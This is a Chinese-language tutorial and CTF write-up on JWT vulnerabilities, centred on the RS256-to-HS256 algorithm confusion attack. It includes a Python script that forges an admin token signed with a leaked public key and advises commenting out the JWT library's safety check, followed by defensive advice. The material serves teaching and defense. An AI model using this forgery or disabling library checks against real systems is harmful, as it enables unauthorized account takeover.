JWT安全漏洞分析与利用教学文档

1. JWT基础概念

1.1 什么是JWT

JSON Web Token (JWT) 是RFC 7519定义的一种用于安全传输信息的开放标准，它由三部分组成，通过点号(.)连接：

Header.Payload.Signature

1.2 JWT组成部分

Header (头部)

• 包含两个主要字段：
  • typ: 令牌类型，通常为"JWT"
  • alg: 签名算法，如HS256、RS256等
• 示例：

{
  "typ": "JWT",
  "alg": "HS256"
}

Payload (负载)

包含三类声明(claims)：

1. Registered claims (注册声明)：

   • iss (issuer): 签发者
   • exp (expiration time): 过期时间
   • sub (subject): 主体
   • aud (audience): 受众
   • nbf (Not Before): 生效时间
   • iat (Issued At): 签发时间
   • jti (JWT ID): 编号

2. Public claims (公共声明)：用户自定义的公开信息

3. Private claims (私有声明)：各方共享的私有信息

Signature (签名)

由以下部分组成：

• Base64编码后的header
• Base64编码后的payload
• 密钥(secret)
  使用指定算法进行加密，如：

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

2. JWT签名算法

2.1 对称加密算法(HS256)

• 使用同一个密钥进行签名和验证
• 算法：HMAC + SHA256
• 特点：密钥必须保密

2.2 非对称加密算法(RS256)

• 使用私钥签名，公钥验证
• 算法：RSA + SHA256
• 特点：公钥可以公开，私钥必须保密

3. JWT安全漏洞分析

3.1 算法混淆攻击(Algorithm Confusion Attack)

攻击原理

1. 服务器通常配置为接受多种算法(如RS256和HS256)
2. 攻击者获取服务器的公钥
3. 修改JWT头部，将算法从RS256改为HS256
4. 使用公钥作为HS256的密钥重新签名
5. 服务器使用公钥+HS256验证时，会认为签名有效

攻击条件

• 能够获取服务器的公钥
• 服务器不严格校验算法类型
• JWT库不检查公钥是否适合对称加密

漏洞修复

• JWT库更新后增加了对公钥的校验
  • 检测public key是否为非对称加密公钥
  • 如果是，则不允许用于HS256算法

4. CTF实战：普通的身份认证器

4.1 题目分析

• 目标：获取admin权限查看profile文件
• 已知信息：
  • 使用FastAPI框架
  • JWT验证机制
  • /debug路径暴露了public key

4.2 解题步骤

1. 信息收集：

   • 访问FastAPI默认文档界面/docs
   • 从/debug获取public key

2. 构造恶意JWT：

   • 修改Payload中的sub为"admin"
   • 修改Header中的alg为"HS256"
   • 使用public key作为HS256的密钥进行签名

3. 利用脚本：

import jwt

PUBLIC_KEY = """-----BEGIN RSA PUBLIC KEY-----
MIICCgKCAgEAn/KiHQ+/zwE7kY/Xf89PY6SowSb7CUk2b+lSVqC9u+R4BaE/5tNF
neNlneGNny6fQhCRA+Pdw1UJSnNpG26z/uOK8+H7fMb2Da5t/94wavw410sCKVbvf
ft8gKquUaeq//tp20BETeS5MWIXp5EXCE+lEdAHgmWWoMVMIOXwaKTMnCVGJ2SRr
+xH9147FZqOa/17PYIIHuUDlfeGi+Iu7T6a+QZ0tvmHL6j9Onk/EEONuUDfElonY
M688jhuAM/FSLfMzdyk23mJk3CKPah48nzVmb1YRyfBWiVFGYQqMCBnWgoGOanpd
46Fp1ff1zBn4sZTfPSOus/+00D5Lxh6bsbRa6A1vAApfmTcu026lIb7gbG7DU1/s
eDId9s1qA5BJpzWFKO4ztkPGvPTUok8hQBMDaSH1JOoFQgfJIfC7w2CQe+KbodQL
3akKQDCZhcoA4tf5VC6ODJpFxCn6blML5cD6veOBPJiIk8DBRgmt2AHzOUju+5ns
QcplOVxW5TFYxLqeJ8FPWqQcVekZ749FjchtAwPlUsoWIH0PTSun38ua8usrwTXb
pBlf4r0wz22FPqaecvp7z6Rj/xfDauDGDSU4hmn/TY9Fr+OmFJPW/9k2RAv7KEFv
FCLP/3U3r0FMwSe/FPHmt5fjAtsGlZLj+bZsgwFllYeD90VQU8Ds+KkCAwEAAQ==
-----END RSA PUBLIC KEY-----"""

payload = {
    "sub": "admin",
    "exp": 9902085613  # 任意过期时间
}

header = {
    "typ": "JWT",
    "alg": "HS256"
}

# 生成恶意JWT
encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256', headers=header)
print(encoded)

4. 绕过保护机制：

   • 新版JWT库会检测公钥是否适合对称加密
   • 解决方法：临时注释掉库中的校验代码

5. 发送恶意JWT：

   • 将生成的token替换到请求中
   • 服务器会使用公钥+HS256验证，认为这是合法token
   • 获取admin权限

5. 防御措施

1. 服务器端：

   • 严格指定接受的算法类型，不接收HS256
   • 不暴露公钥信息
   • 使用最新版JWT库

2. 开发实践：

   • 对JWT进行严格的算法验证
   • 实现公钥/密钥的严格管理
   • 定期更新安全依赖

3. JWT使用建议：

   • 设置合理的过期时间
   • 使用强加密算法
   • 避免在JWT中存储敏感信息

6. 扩展知识

1. 其他JWT攻击方式：

   • 无签名攻击(将alg改为"none")
   • 弱密钥破解
   • 密钥泄露

2. 相关工具：

   • jwt.io - JWT在线解码/编码
   • jwt_tool - JWT渗透测试工具
   • Burp Suite JWT插件

3. 学习资源：

   • RFC 7519: JSON Web Token (JWT)
   • OWASP JWT Cheat Sheet
   • JWT官方文档